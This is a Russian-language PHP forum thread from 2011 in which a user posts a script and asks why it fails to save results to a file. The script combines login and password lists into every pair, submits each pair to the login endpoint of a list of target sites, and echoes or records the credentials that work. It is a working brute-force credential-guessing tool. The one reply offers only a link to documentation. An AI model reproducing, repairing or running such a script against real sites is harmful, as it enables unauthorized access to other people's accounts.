Warning: Cannot use a scalar value as an array in /home/admin/public_html/forum/include/fm.class.php on line 757

Warning: Invalid argument supplied for foreach() in /home/admin/public_html/forum/include/fm.class.php on line 770

Warning: Invalid argument supplied for foreach() in /home/admin/public_html/forum/topic.php on line 737
Форумы портала PHP.SU :: Не хочет записывать данные в файл

 PHP.SU

Программирование на PHP, MySQL и другие веб-технологии
PHP.SU Портал     На главную страницу форума Главная     Помощь Помощь     Поиск Поиск     Поиск Яндекс Поиск Яндекс     Вакансии  Пользователи Пользователи


 Страниц (1): [1]   

> Без описания
vlados
Отправлено: 01 Июля, 2011 - 13:34:06
Post Id



Посетитель


Покинул форум
Сообщений всего: 391
Дата рег-ции: Май 2011  


Помог: 1 раз(а)

[+][+][+]


PHP:
скопировать код в буфер обмена
  1. <?PHP
  2.  
  3.  
  4. ini_set('display_errors',1);
  5. error_reporting(E_ALL ^E_NOTICE);
  6.  
  7. $file = fopen("http://*****.ua/alfap/loginplaspassword", "w");
  8. $a = file("http://*****.ua/alfap/login");
  9. $b = file("http://*****.ua/alfap/password");
  10. foreach ($a as $aline) {
  11. foreach ($b as $bline) fwrite($file, trim($aline)."&AUTH_PW=".trim($bline)."\n");
  12. } fclose($file);
  13.  
  14. $file = fopen("http:/*****.ua/alfap/TRUE", "w");
  15.  
  16. $c = file("http://*****.ua/alfap/url");
  17. $d = file("http://*****.ua/alfap/loginplaspassword");
  18.  
  19. foreach ($c as $cline) {
  20. foreach ($d as $dline) {
  21. $cline = trim($cline);
  22. $dline = trim($dline);
  23.  
  24. $data = file_get_contents("$cline"."index.php?AuthPhase=1&AUTH_USER="."$dline");
  25.  
  26.  
  27. $search = strpos($data, "<br>");
  28. if($search==FALSE){}
  29. if($search==TRUE){
  30.  
  31. fwrite($file, "$cline - $dline");
  32.  
  33. echo "<h1>TRUE- $dline<br></h1>";
  34. }
  35. }
  36. }
  37. fclose($file);
  38.  
  39. ?>


Скрипт должен записывать правильные пароли в файл TRUE, но не записывает. CHMOD на файле со скриптом 777.
(Добавление)
Скрипт работает правильно.
CODE (html):
скопировать код в буфер обмена
  1. echo "<h1>TRUE- $dline<br></h1>";

Вот эта строка выводит пароли верно, но выводит их на экран.
 
 Top
vsll
Отправлено: 01 Июля, 2011 - 13:48:19
Post Id


Частый посетитель


Покинул форум
Сообщений всего: 530
Дата рег-ции: Февр. 2011  


Помог: 10 раз(а)




vlados тебе просто лень почитать как люди умные делают
http://www.php.su/functions/?fwrite я ещё на exist проверку делаю
 
 Top
Страниц (1): [1]
Сейчас эту тему просматривают: 0 (гостей: 0, зарегистрированных: 0)
« Работа с файловой системой и файлами »


Все гости форума могут просматривать этот раздел.
Только зарегистрированные пользователи могут создавать новые темы в этом разделе.
Только зарегистрированные пользователи могут отвечать на сообщения в этом разделе.
 



Powered by PHP  Powered By MySQL  Powered by Nginx  Valid CSS  RSS

 
Powered by ExBB FM 1.0 RC1. InvisionExBB